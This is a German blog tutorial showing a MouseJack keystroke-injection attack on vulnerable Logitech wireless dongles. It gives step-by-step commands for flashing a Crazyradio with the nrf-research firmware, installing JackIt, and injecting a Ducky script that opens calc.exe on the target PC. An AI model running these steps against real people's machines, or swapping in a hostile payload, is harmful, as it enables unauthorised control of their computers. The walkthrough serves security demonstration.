Inject Keystrokes into Logitech Keyboards

2020-04-05 von Mario

In bestimmten Versionen von Logitech Dongles gibt es eine Schwachstelle, welche es ermöglicht, Befehle an den angeschlossenen PC zu senden.

 

Hardware und Software

Für die Umsetzung wurde folgende Hardware verwendet:

  • Crazyradio PA USB radio dongle based on Nordic Semiconductor’s nRF24LU1+
  • Logitech USB Dongle (C-U0007 – FW ver 012.005.00028)
  • Ubuntu 18.04.3 LTS

 

Firmware Version auslesen

Mit den Befehl “fwupdmgr” kann die Versionsnummer des Logitech USB-Dongles ausgelesen werden.

fwupdmgr get-devices

In der darauf angezeigten Ausgabe kann die Firmware Version des Dongles ermittelt werden. Eine Liste, welche Geräte bzw. welche Firmware betroffen sind, gibt es hier: www.bastille.net

 

Firmware auf dem Crazyradio flashen

Als Voraussetzung für die Durchführung des Angriffs muss die Firmware auf den Crazyradio, nicht auf dem Logitech Dongle, geflasht werden. Um die Firmware zu erstellen, werden einige  Bibliotheken benötigt.

apt-get install sdcc binutils python python-pip git
pip install pyusb
pip install --upgrade pip
pip install --upgrade -I pyusb
pip install --upgrade platformio

Danach die Software “Mousejack” herunterladen.

git clone https://github.com/BastilleResearch/mousejack
git submodule init
git submodule update

Als letzter Schritt wird die Firmware erstellt und auf dem Crazyradio übertragen.

/nrf-research-firmware$ make
make install

Um zu verifizieren, ob die Firmware erfolgreich auf das Crazyradio geflasht wurde, diesen aus dem USB-Port ziehen und danach wieder anstecken. Als nächstes den Befehl “dmesg” ausführen und nach dem Text “RFStorm” suchen.

dmesg

Wird dieser angezeigt, ist der Schritt erfolgreich abgeschlossen.

 

Jackit installieren

Jackit wird für den eigentlichen Angriff benötigt. Mit der Software wird mit dem Crazyradio kommuniziert.

git clone https://github.com/insecurityofthings/jackit.git
cd jackit/
pip install -r requirements.txt
./setup.py build
./setup.py install

 

Attack

Zur Vorbereitung für den Angriff wird ein “Ducky” Script erstellt. Die hier enthaltenen Befehle werden auf dem Ziel-PC ausgeführt. Dafür die nachfolgende Auflistung in einer Textdatei “script.txt” speichern.

GUI r
DELAY 200
STRING calc.exe
ENTER

Mit dem Befehl “jackit” (als Root starten) kann jetzt nach potenziell verwundbaren Geräten gesucht werden.

Sobald ein Dongle gefunden wurde, die jeweilige Adresse “C7:D4:21:98:07” kopieren und das Programm mit “STRG + C” beenden. Jetzt “jackit” erneut mit einigen Parametern starten.

jackit --address C7:D4:21:98:07 --vendor logitech --script /path/to/ducky/script.txt

Nachdem der Dongle wieder erkannt wurde, mit “STRG + C” abbrechen, um in ein Untermenü von “jackit” zu gelangen. Jetzt mit der jeweiligen Nummer das Ziel (Spalte KEY) auswählen. Wenn alles funktioniert hat, dann hat sich auf dem Ziel-PC ein Taschenrechner geöffnet.

 

Links

Kategorie: IT-Security Schlagwörter: ,